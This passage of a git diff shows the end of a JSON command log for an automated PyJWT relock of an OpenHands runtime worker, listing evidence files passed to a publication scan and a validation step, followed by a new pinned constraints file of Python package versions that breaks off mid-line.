"/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-candidate-upstream-test-tools.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-clock-cutoff-check.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-commands.json", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-constraints.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-dependency-comparison.json", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-exact-caller-and-pyjwt-static-delta.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-exact-lock-delta.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-fresh-venv.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-frozen-inputs.json", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-installed-bd1-unchanged-regression-control.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-installed-candidate-unchanged-regressions.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-installed-runtime-version-inventory.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-maintained-jwt-callers.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-native-bd1-control-compile.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-native-imports.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-native-pip-check-after-test-tools.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-native-pip-check.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-native-pristine-reproduction.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-native-pyjwt-candidate-compile.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-native-tox-driver-venv.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-native-tox-run-help.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-native-tox-version.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-oauthlib-alias-callers.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-osv-scanner-copy.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-osv-version.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-owned-diff-check.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-pristine-and-published-source-identities.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-pyjwt-file-pyjwt-2.15.0-py3-none-any.whl.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-pyjwt-file-pyjwt-2.15.0.tar.gz.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-pyjwt-native-test-config.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-pyjwt-pypi.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-pyjwt-release.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-pyjwt-sdist-extract.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-pyjwt-source-download.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-pyjwt-source-extract.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-pyjwt-tag-object.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-requirements.in.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-runtime-hash-install.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-sdk-source-download.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-sdk-source-extract.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-sdk-source-repro-extract.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-source-identities.json", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-source-policy-and-compatibility.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-tox-official-release.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-tox-pypi-tool-source.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-unchanged-upstream-tox-regressions.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-upstream-ci-tox-prerequisites.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-upstream-selected-file-hashes.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-uv-version.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930.json", + "--scan-file", + "/blueprints/runtime-workers/openhands/requirements.lock", + "--scan-file", + "/blueprints/runtime-workers/openhands/pins.json" + ], + "cwd": "", + "started_utc": "2026-09-30T17:25:21.833794+00:00", + "ended_utc": "2026-09-30T17:25:22.151766+00:00", + "exit_code": 0, + "stdout_sha256_private_raw": "741dcd083612d4b538d93e7cf3769aa2b3369e545d0cd7551ae3920a1019414e", + "stderr_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stdout_sha256_sanitized": "741dcd083612d4b538d93e7cf3769aa2b3369e545d0cd7551ae3920a1019414e", + "stderr_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "returned_output": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-owned-file-publication-scan.txt", + "returned_output_sha256": "4a3e416fe09a7424d47dc7f9b13905b2910bcbf752037618b411722ef14691c8" + }, + { + "id": "repository-validation-before-integration", + "argv": [ + "rtk", + "proxy", + "python3", + "scripts/validate.py" + ], + "cwd": "", + "started_utc": "2026-09-30T17:25:22.157116+00:00", + "ended_utc": "2026-09-30T17:25:47.415886+00:00", + "exit_code": 1, + "stdout_sha256_private_raw": "908e8888d53602f0cb0ab2a97c682fa6ac10761aad1b58fb025b9d3c2c729d56", + "stderr_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stdout_sha256_sanitized": "908e8888d53602f0cb0ab2a97c682fa6ac10761aad1b58fb025b9d3c2c729d56", + "stderr_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "returned_output": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-repository-validation-before-integration.txt", + "returned_output_sha256": "72a447135220f2e4e578cb81c327c7773a1c6bd6f85cfdc0f56473aa9d66784b" + } + ] +} diff --git a/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-constraints.txt b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-constraints.txt new file mode 100644 index 000000000..e2b86a385 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-constraints.txt @@ -0,0 +1,334 @@ +agent-client-protocol==0.12.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' +aiofile==3.9.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +aiofiles==25.1.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +aiohappyeyeballs==2.6.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' +aiohttp==3.14.3 ; platform_machine == 'x86_64' and sys_platform == 'linux' +aiosignal==1.4.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +annotated-types==0.7.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +anthropic==0.75.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +anyio==4.14.2 ; platform_machine == 'x86_64' and sys_platform == 'linux' +attrs==25.3.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +authlib==1.6.12 ; platform_machine == 'x86_64' and sys_platform == 'linux' +backoff==2.2.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' +beartype==0.22.9 ; platform_machine == 'x86_64' and sys_platform == 'linux' +beautifulsoup4==4.14.2 ; platform_machine == 'x86_64' and sys_platform == 'linux' +binaryornot==0.4.4 ; platform_machine == 'x86_64' and sys_platform == 'linux' +blake3==1.0.9 ; platform_machine == 'x86_64' and sys_platform == 'linux' +browser-use==0.11.9 ; platform_machine == 'x86_64' and sys_platform == 'linux' +browser-use-sdk==2.0.15 ; platform_machine == 'x86_64' and sys_platform == 'linux' +bubus==1.5.6 ; platform_machine == 'x86_64' and sys_platform == 'linux' +cachetools==7.1.8 ; platform_machine == 'x86_64' and sys_platform == 'linux' +caio==0.9.25 ; platform_machine == 'x86_64' and sys_platform == 'linux' +cdp-use==1.4.4 ; platform_machine == 'x86_64' and sys_platform == 'linux' +certifi==2025.8.3 ; platform_machine == 'x86_64' and sys_platform == 'linux' +cffi==2.0.0 ; platform_machine == 'x86_64' and platform_python_implementation != 'PyPy' and sys_platform == 'linux' +chardet==5.2.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +charset-normalizer==3.4.3 ; platform_machine == 'x86_64' and sys_platform == 'linux' +click==8.5.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +cloudpickle==3.1.2 ; platform_machine == 'x86_64' and sys_platform == 'linux' +cryptography==50.0.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +cyclopts==4.6.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +deprecation==2.1.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +distro==1.9.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +dnspython==2.8.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +docstring-parser==0.17.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +docutils==0.22.2 ; platform_machine == 'x86_64' and sys_platform == 'linux' +email-validator==2.3.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +exceptiongroup==1.3.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +fakeredis==2.34.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' +fastmcp==3.2.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +fastuuid==0.14.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +filelock==3.20.3 ; platform_machine == 'x86_64' and sys_platform == 'linux' +frozenlist==1.8.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +fsspec==2025.9.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +func-timeout==4.3.5 ; platform_machine == 'x86_64' and sys_platform == 'linux' +google-api-core==2.26.0 ; python_full_version < '3.13' and platform_machine == 'x86_64' and sys_platform == 'linux' +google-api-core==2.31.0 ; python_full_version >= '3.13' and platform_machine == 'x86_64' and sys_platform == 'linux' +google-api-python-client==2.184.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +google-auth==2.53.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +google-auth-httplib2==0.2.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +google-auth-oauthlib==1.2.2 ; platform_machine == 'x86_64' and sys_platform == 'linux' +google-genai==1.75.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +googleapis-common-protos==1.70.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +groq==0.32.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +grpcio==1.76.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +h11==0.16.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +hf-xet==1.1.10 ; platform_machine == 'x86_64' and sys_platform == 'linux' +httpcore==1.0.9 ; platform_machine == 'x86_64' and sys_platform == 'linux' +httplib2==0.32.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +httpx==0.28.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' +httpx-sse==0.4.3 ; platform_machine == 'x86_64' and sys_platform == 'linux' +huggingface-hub==0.35.3 ; platform_machine == 'x86_64' and sys_platform == 'linux' +idna==3.15 ; platform_machine == 'x86_64' and sys_platform == 'linux' +importlib-metadata==8.5.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +inquirerpy==0.3.4 ; platform_machine == 'x86_64' and sys_platform == 'linux' +jaraco-classes==3.4.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +jaraco-context==6.1.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +jaraco-functools==4.4.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +jeepney==0.9.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +jinja2==3.1.6 ; platform_machine == 'x86_64' and sys_platform == 'linux' +jiter==0.11.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +joserfc==1.7.5 ; platform_machine == 'x86_64' and sys_platform == 'linux' +json-repair==0.60.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' +jsonref==1.1.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +jsonschema==4.23.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +jsonschema-path==0.3.4 ; platform_machine == 'x86_64' and sys_platform == 'linux' +jsonschema-specifications==2025.9.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' +keyring==25.7.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +libtmux==0.53.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +litellm==1.93.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +lmnr==0.7.60 ; platform_machine == 'x86_64' and sys_platform == 'linux' +lmnr-claude-code-proxy==0.1.23 ; platform_machine == 'x86_64' and sys_platform == 'linux' +lupa==2.8 ; platform_machine == 'x86_64' and sys_platform == 'linux' +lxml==6.1.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +markdown-it-py==4.0.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +markdownify==1.2.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +markupsafe==3.0.2 ; platform_machine == 'x86_64' and sys_platform == 'linux' +mcp==1.28.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' +mdurl==0.1.2 ; platform_machine == 'x86_64' and sys_platform == 'linux' +more-itertools==10.8.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +multidict==6.7.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +oauthlib==3.3.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' +ollama==0.6.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +openai==2.33.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +openapi-pydantic==0.5.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' +opentelemetry-api==1.39.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' +opentelemetry-exporter-otlp-proto-common==1.39.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' +opentelemetry-exporter-otlp-proto-grpc==1.39.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' +opentelemetry-exporter-otlp-proto-http==1.39.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' +opentelemetry-instrumentation==0.60b1 ; platform_machine == 'x86_64' and sys_platform == 'linux' +opentelemetry-instrumentation-threading==0.60b1 ; platform_machine == 'x86_64' and sys_platform == 'linux' +opentelemetry-proto==1.39.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' +opentelemetry-sdk==1.39.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' +opentelemetry-semantic-conventions==0.60b1 ; platform_machine == 'x86_64' and sys_platform == 'linux' +opentelemetry-semantic-conventions-ai==0.4.13 ; platform_machine == 'x86_64' and sys_platform == 'linux' +orjson==3.11.7 ; platform_machine == 'x86_64' and sys_platform == 'linux' +packaging==26.3 ; platform_machine == 'x86_64' and sys_platform == 'linux' +pathable==0.4.4 ; platform_machine == 'x86_64' and sys_platform == 'linux' +pfzy==0.3.4 ; platform_machine == 'x86_64' and sys_platform == 'linux' +pillow==12.3.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +platformdirs==4.4.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +portalocker==2.10.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' +posthog==6.7.7 ; platform_machine == 'x86_64' and sys_platform == 'linux' +prompt-toolkit==3.0.52 ; platform_machine == 'x86_64' and sys_platform == 'linux' +propcache==0.4.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' +proto-plus==1.26.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' +protobuf==6.33.5 ; platform_machine == 'x86_64' and sys_platform == 'linux' +psutil==7.2.2 ; platform_machine == 'x86_64' and sys_platform == 'linux' +py-key-value-aio==0.4.4 ; platform_machine == 'x86_64' and sys_platform == 'linux' +pyasn1==0.6.4 ; platform_machine == 'x86_64' and sys_platform == 'linux' +pyasn1-modules==0.4.2 ; platform_machine == 'x86_64' and sys_platform == 'linux' +pycparser==2.23 ; implementation_name != 'PyPy' and platform_machine == 'x86_64' and platform_python_implementation != 'PyPy' and sys_platform == 'linux' +pydantic==2.12.5 ; platform_machine == 'x86_64' and sys_platform == 'linux' +pydantic-core==2.41.5 ; platform_machine == 'x86_64' and sys_platform == 'linux' +pydantic-settings==2.11.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +pygments==2.20.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +pyjwt==2.15.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +pyobjc==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-core==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-accessibility==11.1 ; platform_machine == 'x86_64' and platform_release >= '20.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-accounts==11.1 ; platform_machine == 'x86_64' and platform_release >= '12.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-addressbook==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-adservices==11.1 ; platform_machine == 'x86_64' and platform_release >= '20.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-adsupport==11.1 ; platform_machine == 'x86_64' and platform_release >= '18.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-applescriptkit==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-applescriptobjc==11.1 ; platform_machine == 'x86_64' and platform_release >= '10.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-applicationservices==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-apptrackingtransparency==11.1 ; platform_machine == 'x86_64' and platform_release >= '20.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-audiovideobridging==11.1 ; platform_machine == 'x86_64' and platform_release >= '12.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-authenticationservices==11.1 ; platform_machine == 'x86_64' and platform_release >= '19.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-automaticassessmentconfiguration==11.1 ; platform_machine == 'x86_64' and platform_release >= '19.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-automator==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-avfoundation==11.1 ; platform_machine == 'x86_64' and platform_release >= '11.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-avkit==11.1 ; platform_machine == 'x86_64' and platform_release >= '13.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-avrouting==11.1 ; platform_machine == 'x86_64' and platform_release >= '22.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-backgroundassets==11.1 ; platform_machine == 'x86_64' and platform_release >= '22.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-browserenginekit==11.1 ; platform_machine == 'x86_64' and platform_release >= '23.4' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-businesschat==11.1 ; platform_machine == 'x86_64' and platform_release >= '18.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-calendarstore==11.1 ; platform_machine == 'x86_64' and platform_release >= '9.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-callkit==11.1 ; platform_machine == 'x86_64' and platform_release >= '20.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-carbon==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-cfnetwork==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-cinematic==11.1 ; platform_machine == 'x86_64' and platform_release >= '23.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-classkit==11.1 ; platform_machine == 'x86_64' and platform_release >= '20.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-cloudkit==11.1 ; platform_machine == 'x86_64' and platform_release >= '14.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-cocoa==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-collaboration==11.1 ; platform_machine == 'x86_64' and platform_release >= '9.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-colorsync==11.1 ; platform_machine == 'x86_64' and platform_release >= '17.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-contacts==11.1 ; platform_machine == 'x86_64' and platform_release >= '15.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-contactsui==11.1 ; platform_machine == 'x86_64' and platform_release >= '15.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-coreaudio==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-coreaudiokit==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-corebluetooth==11.1 ; platform_machine == 'x86_64' and platform_release >= '14.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-coredata==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-corehaptics==11.1 ; platform_machine == 'x86_64' and platform_release >= '19.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-corelocation==11.1 ; platform_machine == 'x86_64' and platform_release >= '10.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-coremedia==11.1 ; platform_machine == 'x86_64' and platform_release >= '11.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-coremediaio==11.1 ; platform_machine == 'x86_64' and platform_release >= '11.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-coremidi==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-coreml==11.1 ; platform_machine == 'x86_64' and platform_release >= '17.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-coremotion==11.1 ; platform_machine == 'x86_64' and platform_release >= '19.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-coreservices==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-corespotlight==11.1 ; platform_machine == 'x86_64' and platform_release >= '17.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-coretext==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-corewlan==11.1 ; platform_machine == 'x86_64' and platform_release >= '10.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-cryptotokenkit==11.1 ; platform_machine == 'x86_64' and platform_release >= '14.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-datadetection==11.1 ; platform_machine == 'x86_64' and platform_release >= '21.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-devicecheck==11.1 ; platform_machine == 'x86_64' and platform_release >= '19.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-devicediscoveryextension==11.1 ; platform_machine == 'x86_64' and platform_release >= '24.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-dictionaryservices==11.1 ; platform_machine == 'x86_64' and platform_release >= '9.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-discrecording==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-discrecordingui==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-diskarbitration==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-dvdplayback==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-eventkit==11.1 ; platform_machine == 'x86_64' and platform_release >= '12.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-exceptionhandling==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-executionpolicy==11.1 ; platform_machine == 'x86_64' and platform_release >= '19.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-extensionkit==11.1 ; platform_machine == 'x86_64' and platform_release >= '22.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-externalaccessory==11.1 ; platform_machine == 'x86_64' and platform_release >= '17.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-fileprovider==11.1 ; platform_machine == 'x86_64' and platform_release >= '19.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-fileproviderui==11.1 ; platform_machine == 'x86_64' and platform_release >= '19.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-findersync==11.1 ; platform_machine == 'x86_64' and platform_release >= '14.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-fsevents==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-fskit==11.1 ; platform_machine == 'x86_64' and platform_release >= '24.4' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-gamecenter==11.1 ; platform_machine == 'x86_64' and platform_release >= '12.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-gamecontroller==11.1 ; platform_machine == 'x86_64' and platform_release >= '13.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-gamekit==11.1 ; platform_machine == 'x86_64' and platform_release >= '12.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-gameplaykit==11.1 ; platform_machine == 'x86_64' and platform_release >= '15.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-healthkit==11.1 ; platform_machine == 'x86_64' and platform_release >= '22.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-imagecapturecore==11.1 ; platform_machine == 'x86_64' and platform_release >= '10.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-inputmethodkit==11.1 ; platform_machine == 'x86_64' and platform_release >= '9.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-installerplugins==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-instantmessage==11.1 ; platform_machine == 'x86_64' and platform_release >= '9.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-intents==11.1 ; platform_machine == 'x86_64' and platform_release >= '16.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-intentsui==11.1 ; platform_machine == 'x86_64' and platform_release >= '21.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-iobluetooth==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-iobluetoothui==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-iosurface==11.1 ; platform_machine == 'x86_64' and platform_release >= '10.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-ituneslibrary==11.1 ; platform_machine == 'x86_64' and platform_release >= '10.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-kernelmanagement==11.1 ; platform_machine == 'x86_64' and platform_release >= '20.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-latentsemanticmapping==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-launchservices==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-libdispatch==11.1 ; platform_machine == 'x86_64' and platform_release >= '12.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-libxpc==11.1 ; platform_machine == 